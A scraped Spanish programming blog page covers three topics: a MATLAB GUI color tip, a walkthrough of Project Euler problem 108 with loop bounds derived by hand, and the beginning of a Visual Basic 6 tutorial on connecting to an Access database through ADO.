src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGB58EOq1oaB76YlvhSHzb_IWDHAEWd-r-vhSxXJ33CLpHz-bvOGmFZnhMJz2OfaTabLZNs0FYWviSXq7mnV_Al2WY6l4K35WMkkAmPFkcaGLdilhF4rRvNKYv1ffGGUIjZ29eX4SYpwDLhBF3CjOwRPLTgBeuGSOLJbQAbhn-G2Duf2uXVdFnQ_W2/s16000/matlab79.gif" /></a><br /></p><p><br />El color de la ventana por defecto es el que le da el sistema operativo. Si queremos que la ventana tenga el color que le asigna el windows y no uno fijo, y que el recuadro donde irá el título sea un poco más oscuro, es necesario tener los valores del color asignado (son 3, para rojo, verde y azul). Estos valores se cargan a un vector llamado "cc".<br /><br />Para oscurecerlo un poco se le resta un número entre 0 y 1 al vector. El valor resultante se asigna a la propiedad "BackgroundColor" de text1 y uipanel1.<br /><br />El resultado es éste:</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQ6-YSeESTF_0EWc_mLtzaNVZppq39UeSHvJgBpZHbrtcMF8CKwAQ7EBFBp2m5rw1pA_K8FZHUV8PIL3KJlRfh7X-m9lR9NfeQK0FSB8WB2JTEtS1Dgo6Htnrf8Aj3h7FOL3ZzYnQXi-y3VnHxQMNTicUsNGH5uWdopSPPyfCo6vnOepEF3Nymwy31/s358/matlab710.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="210" data-original-width="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQ6-YSeESTF_0EWc_mLtzaNVZppq39UeSHvJgBpZHbrtcMF8CKwAQ7EBFBp2m5rw1pA_K8FZHUV8PIL3KJlRfh7X-m9lR9NfeQK0FSB8WB2JTEtS1Dgo6Htnrf8Aj3h7FOL3ZzYnQXi-y3VnHxQMNTicUsNGH5uWdopSPPyfCo6vnOepEF3Nymwy31/s16000/matlab710.jpg" /></a></div><p><br />Y con otras propiedades de pantalla (en Windows 2000, este es un tutorial MUY viejo):</p><p style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPok7RQhOtD-Pj_PS7Ky6if1YjPWA56OPQFBKiL_sXZZhD4N1rGxsX568cYF2qO8Gf5d2k0NmjX3Oep-5ftoyxMEDIDm5NTRs7KiBgH8JWWx7kI3NFDncBSxVxjzH2fvpksaMi3WXsP9aTNMClgKyYGsKRgd59HL4kcqEGyeG20821MGEypZr0G5mg/s358/matlab711.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="210" data-original-width="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPok7RQhOtD-Pj_PS7Ky6if1YjPWA56OPQFBKiL_sXZZhD4N1rGxsX568cYF2qO8Gf5d2k0NmjX3Oep-5ftoyxMEDIDm5NTRs7KiBgH8JWWx7kI3NFDncBSxVxjzH2fvpksaMi3WXsP9aTNMClgKyYGsKRgd59HL4kcqEGyeG20821MGEypZr0G5mg/s16000/matlab711.jpg" /></a><br /></p><p><br />Se le pueden arreglar algunas propiedades, como el tamaño y color de la letra de text1 y borrar el título de uipanel1 si se desea:</p><p style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIpcFqpexLsbgWLGdX56YV5bcxsgI-YhypCDgYjaE2Jc0k9U4JK0BylmZ3iQ3sRLcIXYXYB4a89Koq64iJmrc4MywpA8r9oRJdosnfrw_Zl49ycu1Fy9Q2gfJ8gkB_4bj9XrhL5ZYh8CFJ1B9XRgGLbmC_mmjIwxWpynQFRvD1R9SeEzveKmdBNjwL/s358/matlab712.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="210" data-original-width="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIpcFqpexLsbgWLGdX56YV5bcxsgI-YhypCDgYjaE2Jc0k9U4JK0BylmZ3iQ3sRLcIXYXYB4a89Koq64iJmrc4MywpA8r9oRJdosnfrw_Zl49ycu1Fy9Q2gfJ8gkB_4bj9XrhL5ZYh8CFJ1B9XRgGLbmC_mmjIwxWpynQFRvD1R9SeEzveKmdBNjwL/s16000/matlab712.jpg" /></a></p><p><br />(no podía dejar mi sistema con ese amarillo tan molesto!)</p><p></p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-41430142718213549442023-01-06T07:55:00.000-08:002023-01-06T07:55:01.998-08:00Resolviendo el Problema 108 de ProjectEuler.net<p><span style="font-family: inherit;"><span style="font-size: small;">Otra entrada migrada de la vieja web:<br /></span></span> <span style="font-family: inherit;"><span style="font-size: small;"><br />Visitando la página de
<a href="http://projecteuler.net/">ProjectEuler.Net</a> escogí intentar resolver
el problema 108, el cual dice:<br /><br /><br /></span></span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: inherit;"><span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhm0gHqhBDfW-Scdr3KUIOFWYiYIdh5RS5CCN4hOwmborenYIuZrQC3vFXqxIipxeL_yx-JgNYfXAPUVZbtMS2Cf3twDH0AaY7SGLjsSO3ci3q9BzZoLgvJz7gslOEwmGhA1gMwK5V_9Ykcc978VuvWW-kP7rLCsBPjL3QLOURRdIsDfxmdp8XZ9O4E/s693/Euler108_1.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="466" data-original-width="693" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhm0gHqhBDfW-Scdr3KUIOFWYiYIdh5RS5CCN4hOwmborenYIuZrQC3vFXqxIipxeL_yx-JgNYfXAPUVZbtMS2Cf3twDH0AaY7SGLjsSO3ci3q9BzZoLgvJz7gslOEwmGhA1gMwK5V_9Ykcc978VuvWW-kP7rLCsBPjL3QLOURRdIsDfxmdp8XZ9O4E/s16000/Euler108_1.gif" /></a></span></span></div><p></p><p align="left"><span style="font-family: inherit;"><span style="font-size: small;">Hay que hallar el mínimo
valor de n para el que existen al menos 1000 soluciones a la ecuación 1/x + 1/y
= 1/n, donde "x", "y", "n" son números naturales.</span></span></p><span style="font-family: inherit;"><span style="font-size: small;">
</span></span><p align="left"><span style="font-family: inherit;"><span style="font-size: small;">Parecía que la solución
estaba en simplemente meter x e y en dos bucles anidados y evaluar la ecuación
para distintos valores de "n" y, junto con un contador, romper los bucles cuando
éste exceda mil. Mas el primer problema que hallé es cómo encontrar los límites
superiores de los bucles ¿cómo sé que no debo buscar en la infinita totalidad
del conjunto de números naturales? En el problema se entiende que la solución
existe y es finita.</span></span></p><span style="font-family: inherit;"><span style="font-size: small;">
</span></span><p align="left"><span style="font-family: inherit;"><span style="font-size: small;">Después de jugar con la
ecuación, despejar variables, quitar denominadores, iguala a cero... y
finalmente frustrarme, un foro me dio una pista: la solución de los límites para
"x" e "y" está en la ecuación en su forma original.</span></span></p><span style="font-family: inherit;"><span style="font-size: small;">
</span></span><p align="left"><span style="font-family: inherit;"><span style="font-size: small;">Entonces me puse a
analizarla y a meditarla...<br /><br /><br /></span></span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: inherit;"><span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg82B5n2KGuM0p3JVSPR7eXJr_TD2CaMe4u8i4VuK3iEPIJLuKtTXb_n7XRErJdK8cmEPN96reQYNE4kyCbdEnmFZMjpHfK08URjWgM20ThvRBu02BqBVPsC6-PWExOWggNpnOhhSOaoVl9LEl0_G_wEhc6jlz1RtRsLB0pltOsfNXynX-OeJDnd8M3/s682/Euler108_Meditation.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="386" data-original-width="682" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg82B5n2KGuM0p3JVSPR7eXJr_TD2CaMe4u8i4VuK3iEPIJLuKtTXb_n7XRErJdK8cmEPN96reQYNE4kyCbdEnmFZMjpHfK08URjWgM20ThvRBu02BqBVPsC6-PWExOWggNpnOhhSOaoVl9LEl0_G_wEhc6jlz1RtRsLB0pltOsfNXynX-OeJDnd8M3/s16000/Euler108_Meditation.png" /></a></span></span></div><p></p><p align="left"><span style="font-family: inherit;"><span style="font-size: small;"><br /></span></span></p><p align="left"><span style="font-family: inherit;"><span style="font-size: small;">Entonces (si se ignoran
todos los dibujitos) salta a la vista
que "x" e "y" deben ser mayores que "n" para cumplir la condición que todas las
variables son números naturales. El valor de n+1 es el límite inferior de los
bucles.</span></span></p><span style="font-family: inherit;"><span style="font-size: small;">
</span></span><p align="left"><span style="font-family: inherit;"><span style="font-size: small;">Si hago x = n+1:<br /></span></span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: inherit;"><span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivqtXGCaAnGjDstE8B5B8DkDHGyReuVUtIbdwByfFGEX-C7XVdrYSIsc9L4h02uSKs2aiT-0KqaEqaCiifIsnUKovwzT2LHaCs3pQCmTyvkzRRe5UdLKB6PuBO_89JkTJcuzs4N7KV6ROMUtt7Bx0AnUeDGGG1ZlMIuPCqp5Zx10wvalxeyoljZNg0/s161/Euler108_5.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="89" data-original-width="161" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivqtXGCaAnGjDstE8B5B8DkDHGyReuVUtIbdwByfFGEX-C7XVdrYSIsc9L4h02uSKs2aiT-0KqaEqaCiifIsnUKovwzT2LHaCs3pQCmTyvkzRRe5UdLKB6PuBO_89JkTJcuzs4N7KV6ROMUtt7Bx0AnUeDGGG1ZlMIuPCqp5Zx10wvalxeyoljZNg0/s16000/Euler108_5.gif" /></a></span></span></div><p></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: inherit;"><span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuGR-bEtJy2ZXj88fPvg_3qkthYfDql8qz7pvU8cCGkWWkHk3y5uouw7s69DVuhPgB5J8PnzOYQoCXZ15EkLRrKipsGiE4nONqqu0V9Ia1qbsEzYnhiIzfLJ_9hrEimtd0Uno0T8hvDU5flg6BOunLLkcgAUkUSjPuBsFeekfG8QSwKfphVNlGEVRQ/s157/Euler108_6.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="65" data-original-width="157" height="65" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuGR-bEtJy2ZXj88fPvg_3qkthYfDql8qz7pvU8cCGkWWkHk3y5uouw7s69DVuhPgB5J8PnzOYQoCXZ15EkLRrKipsGiE4nONqqu0V9Ia1qbsEzYnhiIzfLJ_9hrEimtd0Uno0T8hvDU5flg6BOunLLkcgAUkUSjPuBsFeekfG8QSwKfphVNlGEVRQ/s1600/Euler108_6.gif" width="157" /></a></span></span></div><span style="font-family: inherit;"><span style="font-size: small;"></span></span><p align="left"><span style="font-family: inherit;"><span style="font-size: small;">Si el valor mínimo de "x" e
"y"
es n+1, el valor máximo será n^2+n, ya que para cumplir que 1/x + 1/y = 1/n, si
"x" tiene un valor máximo, "y" tendrá un valor mínimo. En una fracción, mientras más
grande es el denominador, más pequeña será la fracción, y viceversa. </span></span></p><span style="font-family: inherit;"><span style="font-size: small;">
</span></span><p align="left"><span style="font-family: inherit;"><span style="font-size: small;">Mi primer intento de
resolver el problema 108 tenía dos bucles anidados que evaluaban los valores de
"x" e "y", dentro de un bucle while, el cual se rompía cuando un contador superaba
el valor de 1000, mientras no lo hiciera incrementaba el valor de "n". Mirando la
ecuación también se deduce que "n" debe ser mayor a 32, ya que n^2+n - (n+1) =
31.606, redondeando: 32.</span></span></p><span style="font-family: inherit;"><span style="font-size: small;">
</span></span><p align="left"><span style="font-family: inherit;"><span style="font-size: small;">Pero este primer intento
era mortalmente lento.</span></span></p><span style="font-family: inherit;"><span style="font-size: small;">
</span></span><p align="left"><span style="font-family: inherit;"><span style="font-size: small;">Luego de correr el
programita para valores pequeños de "n", noté que las soluciones se repetían
cuando "x" e "y" eran iguales a 2*n. Esto se entiende por la propiedad
conmutativa de la suma:</span></span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: inherit;"><span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHABtMgOlkE8lvwPbPRyxmE4BnUDYhI-YcXLXnD531ir4Xtgdtdaq1PWJkEcAQDmB9sHTpgN5pcTPgjCHTryVQWqVxyfXbK-TTGxPXuYGPZ5lf-woZl1yghG2AtXvhhc3j8eEzTgek9jspz1cveoTP-sLWZcZ49LjKZ9Wk8FrCvCfzIGm5iOwkEMLR/s176/Euler108_9.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="91" data-original-width="176" height="91" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHABtMgOlkE8lvwPbPRyxmE4BnUDYhI-YcXLXnD531ir4Xtgdtdaq1PWJkEcAQDmB9sHTpgN5pcTPgjCHTryVQWqVxyfXbK-TTGxPXuYGPZ5lf-woZl1yghG2AtXvhhc3j8eEzTgek9jspz1cveoTP-sLWZcZ49LjKZ9Wk8FrCvCfzIGm5iOwkEMLR/s1600/Euler108_9.gif" width="176" /></a></span></span></div><p align="left"><span style="font-family: inherit;"><span style="font-size: small;">El siguiente valor entero es
2n + 1, donde "z" puede ser "x" ó "y", pues los valores se repiten para las dos
variables:</span></span></p><p align="left"><span style="font-family: inherit;"><span style="font-size: small;"></span></span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAPgnBHFk0sdOOCcTh02RSltYMK0NFX-3fEH7kokyNEo9dN2LuOMuHWocmjaPknDA1bx0xjxXewSQUsQ1Ej3PacWpGS-d-cwnPTI5rK2PdJFUtubdAsQKpmN9WrkAv0_0VU0oJB6oiACejccRbYEyWImVaM1RGBBY8FAG_NW6Gy9YM1xGkw6kaz_Zf/s194/Euler108_10.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="92" data-original-width="194" height="92" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAPgnBHFk0sdOOCcTh02RSltYMK0NFX-3fEH7kokyNEo9dN2LuOMuHWocmjaPknDA1bx0xjxXewSQUsQ1Ej3PacWpGS-d-cwnPTI5rK2PdJFUtubdAsQKpmN9WrkAv0_0VU0oJB6oiACejccRbYEyWImVaM1RGBBY8FAG_NW6Gy9YM1xGkw6kaz_Zf/s1600/Euler108_10.gif" width="194" /></a></span></div><span style="font-size: small;"><br /></span><p></p><p align="left"><span style="font-family: inherit;"><span style="font-size: small;">Se concluye que se puede
decir que "x" va desde n+1 hasta 2n, "y" va desde 2*n+1 hasta n^2+n. </span></span></p><span style="font-family: inherit;"><span style="font-size: small;">
</span></span><p align="left"><span style="font-family: inherit;"><span style="font-size: small;">Para que se cumpla la
condición de las mil soluciones, "x" debe tener al menos mil valores, es decir:
2n - (n+1) >1000. El valor mínimo para "n" es 999. En el programa empieza desde
1000:</span></span></p><p align="left"><span style="font-family: inherit;"><span style="font-size: small;"></span></span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfHzVK1qfR9b1NW98GIn-gafQgGH-5Hkr9uoGzAHonAsA0pVXLnikfkwkvvbSwvd-iuxBo1uw7w97R0sEPvksNNY1cVSVqxy5aYLjB6bzQjUDnIwxfeFdWA2GIWazk-0EBZFrwCZpEXzAzLHBWR95lDekbm2pmZaxXna9OTZb1vHcqjw9Lm7CXn_Yh/s584/Euler108_2.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="584" data-original-width="494" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfHzVK1qfR9b1NW98GIn-gafQgGH-5Hkr9uoGzAHonAsA0pVXLnikfkwkvvbSwvd-iuxBo1uw7w97R0sEPvksNNY1cVSVqxy5aYLjB6bzQjUDnIwxfeFdWA2GIWazk-0EBZFrwCZpEXzAzLHBWR95lDekbm2pmZaxXna9OTZb1vHcqjw9Lm7CXn_Yh/s16000/Euler108_2.gif" /></a></span></div><span style="font-size: small;"><br /> </span><p></p><p align="left"><span style="font-family: inherit;"><span style="font-size: small;">Pero esta solución también
tardaba siglos.</span></span></p><span style="font-family: inherit;"><span style="font-size: small;">
</span></span><p align="left"><span style="font-family: inherit;"><span style="font-size: small;">Entonces, jugando un poco
con la ecuación, llegué a esto:</span></span></p><p align="left"><span style="font-family: inherit;"><span style="font-size: small;"></span></span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibG1K86kurlXBy_al0-woWejDyfuyVvUurQ_nMvQNzwZwo_Vv7tKxHy1G6gtJqAOYJq2LuIKPhuesoKKu54Moo-GvArjk-byu4z6FULitza1KqJ3IeLwzNmDrxDQ9WgDulJJnWI9M94yaJdrhcVMrdboM1v6zOBJF5hr-UJbdsqCiK6HHx48RfT3QG/s144/Euler108_11.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="94" data-original-width="144" height="94" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibG1K86kurlXBy_al0-woWejDyfuyVvUurQ_nMvQNzwZwo_Vv7tKxHy1G6gtJqAOYJq2LuIKPhuesoKKu54Moo-GvArjk-byu4z6FULitza1KqJ3IeLwzNmDrxDQ9WgDulJJnWI9M94yaJdrhcVMrdboM1v6zOBJF5hr-UJbdsqCiK6HHx48RfT3QG/s1600/Euler108_11.gif" width="144" /></a></span></div><span style="font-size: small;"><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKHOBE82uWlhra02WnRZ69_SwOjHpFqG-OQ08420B3-Ejqlb3c2jPj04Tpct4YC7HhJT6cgUpHv6AGyl11RDeWIKq6FLzW8U11h6wYctvIfsRpQ65GKoRwA0CUeuN6279xej_HohgBG4G-JoINEIyvT4mNwx9LdgC0nCKuzwh1J-gcZeyl83FOzHbn/s156/Euler108_12.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="97" data-original-width="156" height="97" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKHOBE82uWlhra02WnRZ69_SwOjHpFqG-OQ08420B3-Ejqlb3c2jPj04Tpct4YC7HhJT6cgUpHv6AGyl11RDeWIKq6FLzW8U11h6wYctvIfsRpQ65GKoRwA0CUeuN6279xej_HohgBG4G-JoINEIyvT4mNwx9LdgC0nCKuzwh1J-gcZeyl83FOzHbn/s1600/Euler108_12.gif" width="156" /></a></div></span><span style="font-size: small;"> </span><p></p><p align="left"><span style="font-family: inherit;"><span style="font-size: small;">Para el problema 108, no
interesan los valores de "n", "x" e "y", sólo si la relación xy/(x+y) da mil
soluciones enteras. Evalúo los posibles valores de "x" e "y" para el intervalo
[n+1, 2n], dentro de dos bucles: </span></span></p><p align="left"><span style="font-family: inherit;"><span style="font-size: small;"></span></span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGNYJXlKDOiuyMkyNWmwzy69txxU4V_j4vX4s4dSorRgxlFXCOq432eydYRgw_Ecj45H_vWgdUO0HTJrSHEiwfKAiicyMsdN6_dXcjIIEIiZqBPKhPI8WRFlFlLQVKdcNmnESwPZSkBY1b-x9R0v02ONlesnyEkXkyAwmI4LBii2rRfEpIJBqhH6Ys/s578/Euler108_3.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="578" data-original-width="425" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGNYJXlKDOiuyMkyNWmwzy69txxU4V_j4vX4s4dSorRgxlFXCOq432eydYRgw_Ecj45H_vWgdUO0HTJrSHEiwfKAiicyMsdN6_dXcjIIEIiZqBPKhPI8WRFlFlLQVKdcNmnESwPZSkBY1b-x9R0v02ONlesnyEkXkyAwmI4LBii2rRfEpIJBqhH6Ys/s16000/Euler108_3.gif" /></a></span></div><span style="font-size: small;"><br /></span><p></p><p align="left"><span style="font-family: inherit;"><span style="font-size: small;">Queda mucho mejor y da la
solución al problema en menos de un minuto, corriendo como código administrado
sobre .Net 3.5 :D</span></span></p><span style="font-family: inherit;"><span style="font-size: small;">
</span></span><p align="left"><span style="font-family: inherit;"><span style="font-size: small;">Mi programita se veía
interesante y bonito... tan bonito que me dije ¿por qué no pasarlo a Linq?</span></span></p><p align="left"><span style="font-family: inherit;"><span style="font-size: small;"> <br /></span></span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: inherit;"><span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIJnj1vf3abXkEjat9MJRyiecoBiFKtN3qbxBnI_Nw_CdaBKpVUZb2ZMA40WqQqWRX9EQI6yN-8TTIZFivfGie_nmOeM-FVN0xnToKvc1K6fsNUZVJGDw6daoRRUUXt6m2w5N4TxHRZgQklV9mOudux4kfJqdw-5TV00gyG_99rxMTmql6KGVXe8n8/s748/Euler108_4.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="533" data-original-width="748" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIJnj1vf3abXkEjat9MJRyiecoBiFKtN3qbxBnI_Nw_CdaBKpVUZb2ZMA40WqQqWRX9EQI6yN-8TTIZFivfGie_nmOeM-FVN0xnToKvc1K6fsNUZVJGDw6daoRRUUXt6m2w5N4TxHRZgQklV9mOudux4kfJqdw-5TV00gyG_99rxMTmql6KGVXe8n8/s16000/Euler108_4.gif" /></a></span></span></div><span style="font-family: inherit;"><span style="font-size: small;"> </span></span><p></p><p align="left"><span style="font-family: inherit;"><span style="font-size: small;">Dado que el compilador debe
hacer varias conversiones si se usa Linq, esta última solución es unas tres
veces más lenta.</span></span></p><span style="font-family: inherit;"><span style="font-size: small;">
</span></span><p align="left"><span style="font-family: Comic Sans MS; font-size: x-small;"><span style="font-family: inherit;"><span style="font-size: small;">
<a href="https://drive.google.com/file/d/11yz3-hS81wjovjBV260ZEBqP8h1DRuaT/view?usp=sharing" rel="nofollow" target="_blank">El código fuente puee descargarse de aquí.</a></span></span><br /></span></p><p align="left"><span style="font-family: Comic Sans MS; font-size: x-small;"> </span></p><p align="left"></p><p></p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-73295044863657174852022-11-29T08:27:00.001-08:002022-11-29T08:27:11.645-08:00Accediendo a una base de datos en Visual Basic 6<p style="text-align: left;"><span style="font-size: small;"><span style="font-family: inherit;">Este tutorial es viejo viejo, de cuando recién aprendía a hacer conexiones a bases de datos con el VB6 en aquellos fines de los 90s/inicios de los 2000s. Lo dejo aquí como parte de la historia de la informatica.</span></span></p><p style="text-align: left;"><span style="font-size: small;"></span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEv526oyGXwrCYt5jrbvXmWMdUZHErYzEeWKRYoHvAm2QW5vWkdFxgvXOduRvudQLPj3A67hPJumoRFNEy-XAyx4ZBrgn40JqCLKV8lB-w77vKdWuoWAG_IkfG4OXwlxQMu6YCojVVtnz9gWZXhVydJlSvkbgR_r7br5Zng6Gl8KV4MgXEuf8yy6FZ/s427/IMG-20220514-WA0000.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="427" data-original-width="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEv526oyGXwrCYt5jrbvXmWMdUZHErYzEeWKRYoHvAm2QW5vWkdFxgvXOduRvudQLPj3A67hPJumoRFNEy-XAyx4ZBrgn40JqCLKV8lB-w77vKdWuoWAG_IkfG4OXwlxQMu6YCojVVtnz9gWZXhVydJlSvkbgR_r7br5Zng6Gl8KV4MgXEuf8yy6FZ/s16000/IMG-20220514-WA0000.jpeg" /></a></span></div><span style="font-size: small;">La coneja no tiene nada que ver con el tutorial, pero creo que es un bonito separador :)</span><p></p><p style="text-align: left;"><span style="font-size: small;">Empezamos: </span><br /></p><p style="text-align: left;"><span style="font-size: small;"><span style="font-family: inherit;"><br /></span></span></p><p style="text-align: left;"><span style="font-size: small;"><span style="font-family: inherit;">Sucede que quienes
programamos, en algún momento, tenemos que toparnos con las bases de
datos queramos o no. Lo malo es que éstas son un mundo muy diferente a
los punteros, al manejo de puertos, a la captura de señales o a las
llamadas a Apis. Lo bueno es que una vez que se domina lo básico son lo
más fácil del mundo. Y lo mejor es que los lenguajes de programación de
alto nivel ya vienen con herramientas para manejas bases de datos de
todo tipo.<br />
<br />
Y eso es lo que quiero mostrar aquí: lo básico para manejar una pequeña
base de datos en Access 2002 en el lenguaje de programación más fácil de
entender de la Historia: Visual Basic 6.
</span></span></p><span style="font-size: small;"><span style="font-family: inherit;">
</span></span><p style="text-align: left;"><span style="font-size: small;"><span style="font-family: inherit;">Antes que nada hay que
cargar el componente ADO (Click derecho en la barra de herramientas ->
Componentes -> Microsoft ADO Data Control 6.0) y ponerlo en el formulario.
Luego se guarda y se borra el componente ADO y, si se quiere, la referencia en
la barra de herramientas. Esto es para que el Visual Basic reconozca los objetos
Recordset y Connection.</span></span></p><p style="text-align: left;"><span style="font-size: small;"><span style="font-family: inherit;">
</span></span></p><p style="text-align: left;"><span style="font-size: small;"><span style="font-family: inherit;">
<a href="https://drive.google.com/file/d/13Lj68VMN9HGXlxol7CEZZa2p-UZui5Zo/view?usp=sharing" rel="nofollow" target="_blank">El programa (con su código fuente) se pueden bajar de aquí. </a></span></span></p><p style="text-align: left;"><span style="font-size: small;"><span style="font-family: inherit;"> </span></span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisIeCTH1U9YZfx_1As8Sd-jUWOBlZKlCuOheu_dII5ZCyAQ_9ezU4xRC3LrE7tF-RMJ58h1AgbseHp2F3_LbaeHTQX3V1xlqtWa7Lc5Sz5h_dnzN6bf2RGOHutlGYwY0cbOPoRXQnMZakGQD2XBK1Q2p1fgu3hLv9KLp1TSyvfMHaLl0RfB4EPBLTI/s449/vbbd.GIF" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="449" data-original-width="376" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisIeCTH1U9YZfx_1As8Sd-jUWOBlZKlCuOheu_dII5ZCyAQ_9ezU4xRC3LrE7tF-RMJ58h1AgbseHp2F3_LbaeHTQX3V1xlqtWa7Lc5Sz5h_dnzN6bf2RGOHutlGYwY0cbOPoRXQnMZakGQD2XBK1Q2p1fgu3hLv9KLp1TSyvfMHaLl0RfB4EPBLTI/s16000/vbbd.GIF" /></a></span></div><span style="font-size: small;"><br /></span><p></p><p align="left"><span style="font-size: small;"><span style="font-family: inherit;">Y ahora una explicación:<br />
<br />
Los datos a agregar o eliminar se ingresan en Text1 y Text2. La
navegación se hace con los botones Anterior y Siguiente (Command3 y
Command4). El botón Limpiar (Command2) es sólo para borrar lo escrito en
Text1 y Text2. En el control List1 aparecen todos los registros que
coinciden con la búsqueda del texto en Text3 realizada al oprimir
"Buscar Todos" (Command7), en cambio el botón "Buscar" (Command5) sólo
hace aparecer el primer resultado encontrado.<br />
<br />
Para manejar la base de datos no es necesario añadir ningún control especial, basta declarar dos objetos:</span></span></p><span style="font-size: small;"><span style="font-family: inherit;">
</span></span><table bgcolor="#000000" border="2" cellpadding="2" style="width: 92%px;">
<tbody><tr>
<td bgcolor="#FFFFFF" width="100%"><span style="font-family: courier;"><span style="font-size: small;"><span style="color: #2b00fe;">Dim</span> rs As Recordset<br />
<span style="color: #2b00fe;">Dim</span> db As Connection</span></span></td>
</tr>
</tbody></table><span style="font-size: small;"><span style="font-family: inherit;">
</span></span><p align="left"><span style="font-size: small;"><span style="font-family: inherit;"><br />
"db" realiza la conexión con la base de datos y "rs" permitirá recorrer
los resgistros, borrarlos, añadirlos y buscarlos. Para conextar con la
base de datos (llamada "bd1.mdb") bastan estas líneas:<br />
</span></span></p><span style="font-size: small;"><span style="font-family: inherit;">
</span></span><table bgcolor="#000000" border="2" cellpadding="2" style="width: 92%px;">
<tbody><tr>
<td bgcolor="#FFFFFF" width="100%"><span style="font-family: courier;"><span style="font-size: small;">db.Open <span style="color: #660000;">"PROVIDER=Microsoft.Jet.OLEDB.4.0;Data Source=</span>" & pathBD & <span style="color: #660000;">";"</span><br />
rs.Open <span style="color: #660000;">"select * from Datos"</span>, db, adOpenDynamic, adLockOptimistic</span></span></td>
</tr>
</tbody></table><span style="font-size: small;"><span style="font-family: inherit;">
</span></span><p align="left"><span style="font-size: small;"><span style="font-family: inherit;"><br />
bd1.mdb sólo tiene dos tablas: "Datos" y "datos2". El programa sólo
trabaja con "Datos". El programador debe saber qué tablas y qué campos
tiene su base de datos para poder trabajar con ella.<br />
<br />
Es importante saber también en qué programa y en qué versión está hecha
la base de datos, sino no podrá conectar. Para versiones anteriores de
Access se pone:<br />
<br />
db.Open "PROVIDER=Microsoft.Jet.OLEDB.3.51;Data Source=" & pathBD & ";"<br />
<br />
